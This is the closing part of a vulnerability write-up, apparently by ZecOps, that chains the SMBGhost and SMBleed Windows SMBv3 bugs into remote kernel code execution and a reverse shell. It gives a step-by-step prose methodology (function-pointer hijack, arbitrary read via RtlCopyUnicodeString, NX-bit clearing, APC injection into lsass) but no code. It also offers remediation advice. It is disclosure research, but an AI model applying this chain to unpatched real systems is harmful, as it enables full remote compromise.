The first two arguments are read from the SRVNET_RECT struct, so we can control them. We don’t have as much control over the other arguments. The x86-64 calling convention specifies that it’s the caller’s responsibility to allocate and free the stack space for the arguments, so even though a 8-arguments function is intended to be called, we can replace the pointer with a function that expects any other amount of arguments, and it will work.

Here are the steps we used to trigger the function call:

  1. Send a specially crafted message so that the connection’s SRVNET_RECT struct pointer will be copied to a buffer we can read.
  2. Send another, valid message, which will reuse the same SRVNET_RECT struct, but don’t close the connection yet. Note that when a connection is closed, the SRVNET_RECT struct is not freed. The SrvNetPrepareConnectionForReuse function is called to reset the struct so that it can be reused for the next connection.
  3. Read the SRVNET_RECT struct pointer that we copied in step 1.
  4. Replace the HandlerFunctions pointer and the arguments using the write-what-where primitive.
  5. Send an additional message over the connection from step 2 so that the function that took the place of srv2!Srv2ReceiveHandler is called.

Now all we had to do was to find a convenient function to copy memory from one location to another, so that we can copy arbitrary memory to the pool buffer we can read from. memcpy comes to mind, and srvnet.sys does have such a function (memmove, to be precise), but this function requires a third argument, the amount of bytes to be copied, which we don’t control. Failing to find a convenient function that requires one or two arguments, we realized that we’re not limited by functions implemented in srvnet.sys, we can also call functions from srvnet’s import table by pointing HandlerFunctions at the right offset. There, we found the perfect function: RtlCopyUnicodeString.

The RtlCopyUnicodeString function gets two UNICODE_STRING pointers as arguments, and copies the content of the source string to the destination string. Unlike C strings which are NULL-terminated, strings in the kernel are defined by the UNICODE_STRING struct which holds a pointer to the string, and the string’s length in bytes. The string buffer can hold any binary data. If you peek at the implementation of RtlCopyUnicodeString, you can see that the copying is done with the memmove function, i.e. plain binary data copying. All we have to do is prepare our two UNICODE_STRING structs and call RtlCopyUnicodeString, then read the copied data:

Executing shellcode

After achieving a convenient arbitrary read primitive, we moved on to the next challenge towards our goal of remote code execution: running a shellcode. We used the technique that Morten Schenk presented in his Black Hat USA 2017 talk (pages 47-51).

The idea is to write a shellcode below the KUSER_SHARED_DATA structure which is located at a constant address, the only address that is not randomized in the kernel memory layout of the recent Windows versions. Then modify the relevant page table entry, making the page executable. The base address of the page table entries in the kernel is randomized, but can be retrieved from the MiGetPteAddress function in ntoskrnl.exe. Here are the steps we used to execute our shellcode:

  1. Use our arbitrary read primitive to get the base address of ntoskrnl.exe from srvnet’s import table.
  2. Read the base address of the page table entries from the MiGetPteAddress function, as described in Morten’s slides.
  3. Write the shellcode at address KUSER_SHARED_DATA + 0x800 (0xFFFFF78000000800). Note that we could also use one of the pool buffers, using KUSER_SHARED_DATA is just more convenient.
  4. Calculate the relevant page table entry address and clear the NX bit to allow execution, as described in Morten’s slides.
  5. Call the shellcode using our ability to call an arbitrary function.

Launching a reverse shell

Technically, we achieved remote code execution, so we could stop here. But if we’re not popping calc or launching a reverse shell, the POC is not complete, so we went on to fill that gap. Since our shellcode runs in kernel mode, we can’t just run cmd.exe or calc.exe and call it a day. We needed to find a way to get our code to run in user mode. While searching for prior work on the topic we found sleepya’s shellcode, written originally for EternalBlue exploits, which is designed to do just that. 

In short, here’s what the shellcode does:

  1. Hook IA32_LSTAR MSR to lower the IRQL (Interrupt Request Level) from DISPATCH_LEVEL to PASSIVE_LEVEL. The shellcode begins execution at the DISPATCH_LEVEL IRQL which imposes several limitations. For more information see the great explanation of zerosum0x0.
  2. Find a privileged user mode process (lsass.exe or spoolsv.exe) and queue a user mode APC in one of the alertable threads that is in waiting state.
  3. In the APC kernel routine, allocate EXECUTE_READWRITE memory and point the APC normal (user mode) routine there. Then copy the user mode shellcode to the newly allocated memory, prepended with a stub to create a new thread.
  4. In the APC normal routine a new thread is created, executing the user mode shellcode.

Published about three years ago, the shellcode didn’t work right away on recent Windows versions, so we had to make a couple of adjustments:

  1. Incompatibility with the KVA Shadow mitigation. In the blog post Fixing Remote Windows Kernel Payloads to Bypass Meltdown KVA Shadow zerosum0x0 explains why the first part of the shellcode, IA32_LSTAR MSR hooking, isn’t supported when the KVA Shadow mitigation is enabled, and proposes a fix. We tried the proposed fix, but it didn’t work on newer Windows versions – zerosum0x0 targeted Windows 10 version 1809 while we were targeting versions 1903 and 1909. The right thing to do is to improve the fix or find another solution, but we just removed the IRQL lowering part. As a result, the POC can sometimes crash the system while trying to access paged memory (bug check IRQL_NOT_LESS_OR_EQUAL), but it doesn’t happen often, so we left it as is since it’s good enough for a POC.
  2. Fixed finding the base address of ntoskrnl.exe. At first, we tried using zerosum0x0’s method – get an address of the first ISR (Interrupt Service Routine), which is located in ntoskrnl.exe, and search for a nearby PE header. The method didn’t work for us since the ISR pointer points to ntoskrnl’s INITKDBG section which is not mapped. Since we already found the ntoskrnl.exe base address, we fixed it by just passing it as an argument to the shellcode.
  3. Fixed a problem with finding the offset of ETHREAD.ThreadListEntry. The original code looked for the current thread in the thread list of the current process. The thread won’t be found if the current thread is attached to a different process than the one it was originally created in (see KeStackAttachProcess).
  4. Fixed the UserApcPending check in the KAPC_STATE struct for Windows 10 version R5 and newer. Since Windows 10 version R5 UserApcPending shares a byte with the newly added bit value, SpecialUserApcPending.

With the above fixed, we finally managed to make the shellcode work, we just needed to fill in the user mode part of the code to run. We used MSFvenom, the Metasploit payload generator, to generate a user mode shellcode to spawn a reverse shell.

Targets with more than one logical processor

In the Observation #1 section of the previous part of the writeup we assumed that our target has only one logical processor. With this assumption, we could rely on the lookaside lists buffer reusing, knowing that we get the same buffer every time as long as the allocation size is the same. As a reminder, the lookaside lists are created upon initialization, a list for each size and logical processor, as depicted in the following table:

→ Allocation size

Logical Processor
0x1100 0x2100 0x4100 0x8100 0x10100 0x20100 0x40100 0x80100 0x100100
Processor 1 📝 📝 📝 📝 📝 📝 📝 📝 📝
Processor 2 📝 📝 📝 📝 📝 📝 📝 📝 📝
Processor n 📝 📝 📝 📝 📝 📝 📝 📝 📝

Each cell with the “📝” symbol is a separate lookaside list.

With more than one logical processor, things are a bit more complicated – we get the same buffer only as long as the allocation is made on the same logical processor. Our first attempt at overcoming this limitation was redundancy. When writing to one of the lookaside list buffers, write multiple times. When reading from one of the lookaside list buffers, read multiple times and choose the most common value. This approach would work if the logical processor usage was distributed evenly, but we found that it’s not the case. We tested our POC in VirtualBox, and from our observations, some logical processors are preferred over others. For a setup of 4 logical cores, here’s the distribution of handling the incoming packet in a test execution:

Logical processor Incoming packets handled
Logical processor 1 0.2%
Logical processor 2 0.8%
Logical processor 3 7.9%
Logical processor 4 91.1%

Here’s the distribution of handling the decompression:

Logical processor Decompressions executed
Logical processor 1 13.3%
Logical processor 2 5.1%
Logical processor 3 6.8%
Logical processor 4 74.8%

As you can see, in this specific case logical processor 4 did most of the work. Logical processor 1 handled only 1 out of every 500 incoming packets!

We tweaked the POC such that it sends several packets simultaneously from multiple threads to improve the logical processor usage distribution. We also added error detection, so that if the data that is read doesn’t make sense, another reading attempt is made instead of proceeding and most likely crashing the system. The changes we made were enough to make the POC work with VirtualBox targets with multiple logical processors, but from a quick test the POC doesn’t work with VMware targets or (at least some) physical computers with multiple logical processors. We didn’t try to improve the POC further to support all targets, which we believe can be achieved with a better strategy for a reading and writing order.

Our POC with the improvements can be found in the GitHub repository.

If you’d like to study the code, we suggest starting with the initial, less noisy version which was designed for a single logical processor. It can be found in a previous commit here.

ZecOps Detection

ZecOps classify forensics logs related to this issue as #SMBGhost and #SMBleed. You can find more information on how to use ZecOps solutions for Endpoints & Servers, Mobile devices, or applications. Besides SMBleed / SMBGhost, ZecOps Crash Forensics solutions can find other, previously unknown vulnerabilities, that are exploited in the wild. If you care about persistent threats – we’ll be happy to assist.


You can remediate the impact of both issues by doing one of the following:

  • Applying the latest security issues (recommended)
  • Block port 445 / enforce host-isolation
  • Disable SMBv3.1.1 compression


This is the third and final part of the writeup, in which we used the findings from the previous parts to achieve RCE using SMBGhost and SMBleed. We hope you enjoyed the read. Here’s a recap of the milestones during our research on the SMB bugs:

  1. A write-what-where primitive, demonstrated in our previous research about achieving local privilege escalation.
  2. The discovery of the SMBleed bug, described in the first part of the writeup.
  3. An ability to read memory from the pool buffers allocated by the SrvNetAllocateBuffer function, demonstrated in Part II: Unauthenticated Memory Read – Preparing the Ground for an RCE.
  4. An ability to get the base address of the srvnet.sys module.
  5. An ability to call an arbitrary function.
  6. Arbitrary memory read.
  7. Shellcode execution.